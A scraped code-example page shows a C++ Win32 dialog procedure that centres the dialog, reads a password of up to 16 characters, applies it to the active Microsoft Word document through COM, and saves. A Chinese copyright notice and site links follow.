BOOL CALLBACK DialogProc(HWND hDlg, UINT uMsg,						 WPARAM wParam, LPARAM lParam){	BOOL fReturn = TRUE;	switch(uMsg)	{	case WM_INITDIALOG:		{			RECT	rtWindow = {0};			RECT	rtContainer = {0};			GetWindowRect(hDlg,&rtWindow);			rtWindow.right -= rtWindow.left;			rtWindow.bottom -= rtWindow.top;			SystemParametersInfo(SPI_GETWORKAREA,0,&rtContainer,0);			SetWindowPos(hDlg,NULL,(rtContainer.right - rtWindow.right) / 2,(rtContainer.bottom - rtWindow.bottom) / 2,0,0,SWP_NOSIZE);			SendMessage(GetDlgItem(hDlg, IDC_EDIT1),EM_LIMITTEXT,16, 0);			break;		}	case WM_COMMAND:{		if (lParam != 0){			if(HIWORD(wParam) == BN_CLICKED){				switch(LOWORD(wParam)){					case IDOK:						{							char szPassWord[17]={0};							GetWindowTextA(GetDlgItem(hDlg, IDC_EDIT1), szPassWord, 17);							Word::_DocumentPtr ptrdoc = g_Application->GetActiveDocument();							if (ptrdoc){								BSTR bstrPswd = _bstr_t(szPassWord);								ptrdoc->put_Password(bstrPswd);								ptrdoc->Save();							}							EndDialog(hDlg, true);							break;						}					case IDCANCEL:						EndDialog(hDlg, true);						break;				}			}		}		break;	}	case WM_DESTROY:		//::PostQuitMessage(0);		break;	default:		fReturn = FALSE;	}		return fReturn;}
开发者ID:fanliaokeji,项目名称:lvdun,代码行数:53,



注:本文中的GetWindowTextA函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


C++ GetWindowTextLength函数代码示例
C++ GetWindowText函数代码示例
万事OK自学网:51自学网_软件自学网_CAD自学网自学excel、自学PS、自学CAD、自学C语言、自学css3实例,是一个通过网络自主学习工作技能的自学平台,网友喜欢的软件自学网站。